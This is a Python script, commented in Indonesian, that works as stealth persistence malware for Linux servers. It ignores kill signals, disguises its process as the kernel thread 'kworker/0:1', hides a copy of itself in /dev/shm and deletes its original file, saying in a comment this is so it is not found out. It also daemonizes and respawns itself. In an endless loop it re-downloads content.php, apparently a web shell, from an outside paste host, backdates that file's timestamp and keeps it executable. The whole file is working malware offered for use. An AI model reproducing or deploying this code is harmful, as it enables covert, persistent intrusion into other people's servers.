import os import sys import time import signal import ctypes import random # Konfigurasi URL = "https://raw.zeverix.com/raw/untitled-384" FILE_NAME = "content.php" FILE_PATH = FILE_NAME TIMESTAMP = "201201081531.12" SLEEP_INTERVAL = 5 SCRIPT_DIR = "/dev/shm" SCRIPT_NAME = ".kworker" SCRIPT_PATH = os.path.join(SCRIPT_DIR, SCRIPT_NAME) FIXED_PROCESS_NAME = b"kworker/0:1" def ignore_signal(signum, frame): pass for sig in [signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT, signal.SIGTSTP]: try: signal.signal(sig, ignore_signal) except: pass def rename_process(): try: libc = ctypes.CDLL("libc.so.6") libc.prctl(15, FIXED_PROCESS_NAME, 0, 0, 0) with open("/proc/self/comm", "w") as f: f.write(FIXED_PROCESS_NAME.decode()) ctypes.pythonapi.PySys_SetArgv(ctypes.c_int(0), ctypes.py_object([])) sys.argv = [""] except: pass def download_file(url, file_path): if os.system("which curl >/dev/null 2>&1") != 0: return False for attempt in range(3): cmd = "curl -s --max-time 10 {} -o {}".format(url, file_path) if os.system(cmd) == 0: try: os.chmod(file_path, 0o755) os.system("touch -t {} {}".format(TIMESTAMP, file_path)) except: pass return True time.sleep(2 ** attempt) return False def enforce_permission(path, mode=0o755): try: current_mode = oct(os.stat(path).st_mode & 0o777) expected_mode = oct(mode) if current_mode != expected_mode: os.chmod(path, mode) except: pass def self_delete(): try: os.remove(SCRIPT_PATH) except: pass def daemonize(): try: if os.fork() > 0: sys.exit(0) os.setsid() if os.fork() > 0: sys.exit(0) os.umask(0) sys.stdin.flush() sys.stdout.flush() sys.stderr.flush() devnull = os.open('/dev/null', os.O_RDWR) os.dup2(devnull, 0) os.dup2(devnull, 1) os.dup2(devnull, 2) except: pass def respawn(): while True: try: pid = os.fork() if pid == 0: rename_process() break else: os.waitpid(pid, 0) except: break if __name__ == "__main__": try: this_file = os.path.abspath(__file__) except: this_file = sys.argv[0] # Hapus file sumber (contoh.py atau file ini) supaya tidak ketahuan try: if os.path.exists(this_file): os.remove(this_file) except: pass if this_file != SCRIPT_PATH: if not os.path.isdir(SCRIPT_DIR): try: os.makedirs(SCRIPT_DIR) except: pass try: with open(this_file, "rb") as src: with open(SCRIPT_PATH, "wb") as dst: dst.write(src.read()) os.chmod(SCRIPT_PATH, 0o755) os.execl(sys.executable, sys.executable, SCRIPT_PATH) except: pass self_delete() daemonize() respawn() rename_process() while True: try: rename_process() if not os.path.exists(FILE_PATH) or not os.path.isfile(FILE_PATH): download_file(URL, FILE_PATH) else: enforce_permission(FILE_PATH) time.sleep(SLEEP_INTERVAL + random.uniform(-2, 2)) except: time.sleep(5)